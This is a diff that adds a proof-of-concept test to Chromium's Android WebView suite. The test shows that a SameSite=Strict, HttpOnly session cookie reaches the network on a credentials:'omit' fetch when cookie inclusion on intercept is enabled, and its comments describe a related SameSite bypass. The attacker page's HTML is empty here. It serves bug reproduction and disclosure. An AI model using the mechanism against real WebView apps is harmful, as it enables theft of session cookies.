diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldInterceptRequestTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldInterceptRequestTest.java
index 19b875f723c7b..ef0489ad3be5d 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldInterceptRequestTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldInterceptRequestTest.java
@@ -1467,6 +1467,82 @@ public class AwContentsClientShouldInterceptRequestTest extends AwParameterizedT
}
}
+ /**
+ * POC: when setIncludeCookiesOnIntercept(true) is enabled and the app's
+ * shouldInterceptRequest() returns null, the Cookie header that
+ * AwProxyingURLLoaderFactory injected into the ResourceRequest (using
+ * CookieOptions::MakeAllInclusive(), i.e. ignoring SameSite + HttpOnly)
+ * is forwarded unchanged to the real network stack and reaches the wire.
+ *
+ * This test proves it via the credentials:'omit' variant: a fetch() with
+ * credentials:'omit' must, per the Fetch spec, send **no** cookies at all.
+ * URLRequestHttpJob honours that by skipping its cookie path entirely —
+ * which means it never *clears* the proxy-injected header either, so the
+ * SameSite=Strict / HttpOnly cookie is sent over the network even though
+ * the page explicitly asked for no credentials.
+ *
+ * The same mechanism leaks the cookie on a genuine cross-site request (the
+ * SameSite=Strict bypass): whenever the net stack's own SameSite-filtered
+ * cookie list comes up empty, SetCookieHeaderAndStart() never overwrites
+ * the injected header.
+ *
+ * On a fixed build the final assertion FAILS (no Cookie header on wire).
+ * On a vulnerable build it PASSES, demonstrating the leak.
+ */
+ @Test
+ @SmallTest
+ @Feature({"AndroidWebView", "Network"})
+ public void testIncludeCookiesOnIntercept_leaksToNetworkOnCredentialsOmit()
+ throws Throwable {
+ AwActivityTestRule.enableJavaScriptOnUiThread(mAwContents);
+
+ // App opt-ins that enable the vulnerable path.
+ mActivityTestRule
+ .getAwSettingsOnUiThread(mAwContents)
+ .setIncludeCookiesOnIntercept(true);
+ mActivityTestRule
+ .getAwSettingsOnUiThread(mAwContents)
+ .setAcceptThirdPartyCookies(true);
+
+ var cookieManager = mAwContents.getBrowserContextForPublicApi().getCookieManager();
+ cookieManager.setAcceptCookie(true);
+ cookieManager.removeAllCookies();
+
+ // Victim endpoint on the real network server.
+ final String victimPath = "/victim_api";
+ final String victimUrl = mWebServer.setResponse(victimPath, "ok", new ArrayList<>());
+
+ // Plant a SameSite=Strict; HttpOnly cookie for the victim origin.
+ cookieManager.setCookie(
+ victimUrl, "session=SECRET-STRICT-HTTPONLY; HttpOnly; SameSite=Strict");
+ Assert.assertNotNull(
+ "precondition: cookie stored", cookieManager.getCookie(victimUrl));
+
+ // Attacker page issues a fetch() with credentials:'omit'. Per spec this
+ // must carry NO cookies. We do NOT enqueue an intercept response, so
+ // shouldInterceptRequest returns null and the request falls through to
+ // the real network URLLoaderFactory.
+ final String attackerHtml =
+ "";
+ final String attackerUrl =
+ addPageToTestServer(mWebServer, "/attacker.html", attackerHtml);
+
+ mActivityTestRule.loadUrlSync(
+ mAwContents, mContentsClient.getOnPageFinishedHelper(), attackerUrl);
+ mActivityTestRule.pollUiThread(() -> mWebServer.getRequestCount(victimPath) >= 1);
+
+ String cookieOnWire = mWebServer.getLastRequest(victimPath).headerValue("Cookie");
+ // VULNERABLE BUILD: passes — SameSite=Strict;HttpOnly cookie reached the
+ // network despite credentials:'omit'. FIXED BUILD: cookieOnWire is "".
+ Assert.assertEquals(
+ "BUG REPRO: SameSite=Strict;HttpOnly cookie leaked onto a "
+ + "credentials:'omit' network request",
+ "session=SECRET-STRICT-HTTPONLY",
+ cookieOnWire);
+ }
+
private static Set getCookies(AwCookieManager cookieManager, String destinationUrl) {
String cookie = cookieManager.getCookie(destinationUrl);
Assert.assertNotNull(cookie);